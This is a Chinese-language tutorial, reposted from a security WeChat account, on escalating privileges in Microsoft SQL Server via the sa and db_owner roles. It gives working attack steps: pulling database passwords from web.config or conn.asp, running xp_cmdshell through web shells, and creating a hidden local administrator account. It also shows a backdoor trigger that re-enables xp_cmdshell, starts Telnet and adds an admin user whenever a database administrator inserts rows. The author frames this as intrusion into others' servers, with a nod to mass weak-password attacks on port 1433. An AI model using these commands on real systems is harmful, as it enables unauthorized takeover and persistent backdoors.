SQL SERVER 提权

admin 2024年2月27日14:43:58评论14 views字数 4662阅读15分32秒阅读模式

目  录

0x00  Sql Server简介  
0x01  用户权限介绍  
0x02  Sa用户提权
0x03  db_owner提权

0x00  Sql Server简介

SQL是英文Structured Query Language的缩写,意思为结构化查询语言。SQL语言的主要功能就是同各种数据库建立联系,进行沟通。按照ANSI(美国国家标准协会)的规定,SQL被作为关系型数据库管理系统的标准语言。
SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),它最初是由Microsoft、Sybase和Ashton-Tate三家公司共同开发的,并于1988年推出了第一个OS/2版本。Microsoft SQL Server近年来不断更新版本,1996年,Microsoft 推出了SQL Server 6.5版本;1998年,SQL Server 7.0版本和用户见面;SQL Server 2000是Microsoft公司于2000年推出,目前最新版本是2012年3月份推出的SQL SERVER 2012。
不知道大家以前或者现在有没有搞过端口抓鸡呢,1433端口,如果弄过的童鞋一定很熟悉这个端口,其实这个端口抓鸡的原理就是依靠SQL Server数据库的弱口令进行传马/执行cmd等一系列的入侵行为- -.其实sql server 也可以叫mssql相信这个大家会更熟悉一些.下面我们就来介绍Sql server 各个用户里的权限。

0x01  用户权限介绍

    Sa 可以执行mssql数据库的所有操作

    db_owner 执行所有数据库角色活动

    public 维护所有默认权限
    db_accessadmin 添加和删除数据库用户, 组及角色
    db_ddladmin 添加、更改或删除数据库对象
    db_security admin 分配语句执行和对象权限
    db_backupoperator 备份数据库
    db_datareader 读取任何表中的数据
    db_datawriter 添加、更改或删除所有表中的数据
    db_denydatareader 不能读取任何表中的数据
    db_denydatawriter 不能更改任何表中的数据

在没降权的情况下,MSSQL的服务是以system权限运行的.注意这一点很重要,如果mssql服务是以users组或者guests组降权运行的话,会导致下面一系列的操作进行不了.

MSSQL的数据库帐户权限类似WINDWOS(这里是类似.不是等于),简单来说可以分为SA,DB_OWNER,PCUBLIC等,SA 类似WINDWOS中的管理员,DB_OWNER类似WINDOWS中的Power Users.

Power Users高级用户可以改变所有配置,执行所有程序,唯一就是不能把自己加进administrators组去.但mssql里的db_owner显然没windows的 Power Users那么可爱,他相对来说没那么大的权限,他不能执行程序.db_owner能对mssql数据库进行任何操作.比如建一个表,或者建一个字段,删除那个表删除那个字段,包括修改插入,都是可以做到的.仅限于自己所管理的数据库之内,他只在自己所在的数据库之内,他就不能深入到系统里面,去执行系统的命令,当然他也不能执行程序.也就是说如果你的mssql账号dbowner权限的话,你想上传个木马运行那是不现实的。    PCUBLIC相当于users用户,只能在指定的数据库内进行一些简单的操作,不能用于提权。

0x02  Sa权限提权

在讲sa权限提权前我们先说说这个提权的前提一些重要点,第一mssql的服务没有降权,是以默认服务继承的权限来运行的.第二那就是找到sa的用户密码(你这不是废话么.小心我楼下丢你鸡蛋和臭菜叶子! 哎哟.砸中枪了)。

  0.0 先说说一般我是咋找的吧,在网站的目录下一般情况下,你是有可读可写的权限。你可以尝试找一下asp网站的话大概就conn.asp(一般都放在这文件名的文件里,不过asp类型的网站很少有用到mssql的,现在一般用asp的网站都是一些小型网站.access基本够了).如果是aspx类型的网站那就是web.config这个文件里了.一般数据库的数据库、账号、密码都是以明文保存的,当然也有一些不是以明文保存是以一些bin目录里的加密的base64的加密函数保存,或者是以hash加密保存下来的sa密码.这里不多做详细的解释。

hash加密的参考

http://it.anhuinews.com/network/442646/391737177179.shtml

Asp.net解密反编译

http://gov.com.im/art_design/2011/1113/asp-net%E8%A7%A3%E5%AF%86.html

现在,我们开始,sa提权之旅吧。

SQL SERVER 提权
1
先扫描一遍端口,mssql开启的服务端口是1433..- -我这里是mssql2K不知道为啥.搭建的环境1433端口硬是没开..奇怪。-0-我这里大概说一下。
接下来在网站的目录下找mssql连接的字符串。
Local 本地ip
Uid=账号 sa
Pwd=密码 sa
Database=数据库 Northwind
SQL SERVER 提权
2
在aspxspy下,我们连接上去提权。
SQL SERVER 提权
3
server=localhost;UID=sa;PWD=sa;database=Northwind;Provider=SQLOLEDB
Server输入的是ip地址。
Uid就是mssql的账号pwd 就是mssql账号密码。这样看应该清晰了吧0.0
在go的旁边的菜单栏点击一下,选择mssql.再点击go。
SQL SERVER 提权
4
登陆以后我们首先看看他是什么权限。
Exec master.dbo.xp_cmdshell 'whoami'
返回nt authoritysystem
太好了,没有降权-0-。System权限在基础篇上讲过,是windows理论上最高权限的用户.这可是比administrator还要高很多.由于mssql默认安装下是继承系统的权限神马的.所以他有了system这权限。
接下来我们执行创建账号密码的mssql语句吧!
SQL SERVER 提权
5
Exec master.dbo.xp_cmdshell 'net user xiaoguai www.h4x0er.com /add'
Exec master.dbo.xp_cmdshell 'net localgroup administrators xiaoguai /add'
添加账号xiaoguai 密码www.h4x0er.com
把xiaoguai添加到administrators这个用户组里(这里做个小提示,有些管理员为了恶心一下一些不咋懂用户组的小菜鸟,会把guests组改成administrators组来恶心人- -,最好就是先确定管理员所在的组,然后再把你的用户添加进那个组里面.)
Exec master.dbo.xp_cmdshell ' ' 在这''俩个单引号里面可以执行dos命令.是以system权限运行的.你可以把木马传上去,然后执行.
提示执行成功了我们接着:
SQL SERVER 提权
6
Exec master.dbo.xp_cmdshell 'net user '
0.0. 有xiaoguai这个账号了。
接着这里就不提供找端口的了,一般都是netstat -an 或者注册表神马的里面翻,上一节文章已经写了。
Asp的大概演示一下
SQL SERVER 提权
7
我的asp的 shell里面有sql 命令
第二个框是mssql账号
第三个框是mssql密码
Command 就是让你输入dos命令,然后他会执行的.
这里我就输入个ver做下演示.
Ms_sql提权这个 我这里也登陆不了.没1433端口呃.. 大概就这样吧.和aspx的那个数据库连接也差不多.
至于mssql提权时候遇到的一些错误要怎么修复.
我这里贴个文章吧.大家有兴趣,或者提权的时候遇到错误命令执行不了的时候就可以去试试了。
http://netsky-cheng.iteye.com/blog/1057315

0x03  db_owner提权

这个方法比较另类,实现的过程也比较鸡肋..为了学习,我还是把方法提供出来吧。
Db_owner可以执行所有数据库角色活动。
不能调用xp_cmshell的话我们就做一个触发器来触发达到提权的效果。
首先登陆。
SQL SERVER 提权

8

是db_owner的权限。
我们在db_wner他所在管理的表里,创建一个触发器,等管理员用sa用户去执行插入表命令的时候会触发,达到提权的效果。
我这里大概提供个思路吧.毕竟我也没成功利用过。
SQL SERVER 提权

9

这个db_owner用户可以管理test这个表。
我们就在这个表里找到会员的账号密码所在的表段名。
SQL SERVER 提权

10

大概就是这几个表里。
这里我们用bairong_Users 来演示,我这里用BSQL来演示,其实和aspxspy也一样.也就是个执行的工具。
SQL SERVER 提权

11

SQL SERVER 提权

12

    执行完毕后,查看用户表.点击触发器会有TR_hacker1这个在。

    create TRIGGER TR_HACKER1 ON bairong_Users

    AFTER INSERT

     AS

    BEGIN 

      EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'--'XPSQL70.DLL'

      EXECUTE MASTER.DBO.XP_CMDSHELL 'NET START TELNET'

      EXECUTE MASTER.DBO.XP_CMDSHELL 'net user xiaoguai www.h4x0er.com /add'

      EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators xiaoguai /add'

End

我来解释一下上面的mssql语句大概意思。
就是创建一个名字叫TR_HACKER1的触发器在bairong_User表里,
然后等管理员执行这个表里相关的信息时候,就触发执行mssql的 xp_cmshell 里的特定dos命令。
我这里写的是 开启Telnet服务,创建账号xiaoguai 密码……添加管理员.如果怕不够保险的话,就写多几句修复错误。这里不多说,抛砖引玉。
我们来模拟管理员以sa登陆,然后维护的时候。
SQL SERVER 提权

13

SQL SERVER 提权

14

    INSERT INTO bairong_Users(UserName,Password)               VALUES('xiaoguai','11111')

    当管理员在bairong_Users这个表里插入

    Username:xiaoguai

    Password:11111的时候,就会触发我们留下的后门。

SQL SERVER 提权

15

看到了吧,xiaoguai账号已经创建成功.
Db_owner用户提权的思路就是,把自己有权限管理的表里面,插一大堆后门触发器.
只要管理员以sa权限登录,想查一下日志或者插入语句的时候.就会触发我们的后门,达到创建系统账号的效果.成功率比较低,效率也比较低...
还有一个方法就是利用db_owner的权限备份到启动项那里,写创建账号的密码的那bat..我这写的比较紧,也没测成功,把文章贴出来吧。
http://www.176ku.com/anquan/tiquan/200609/11011.html 针对Db_owner权限下的提权脚本

SQL SERVER 提权

SQL SERVER 提权

原文始发于微信公众号(零漏安全):SQL SERVER 提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月27日14:43:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL SERVER 提权https://cn-sec.com/archives/2529858.html

发表评论

匿名网友 填写信息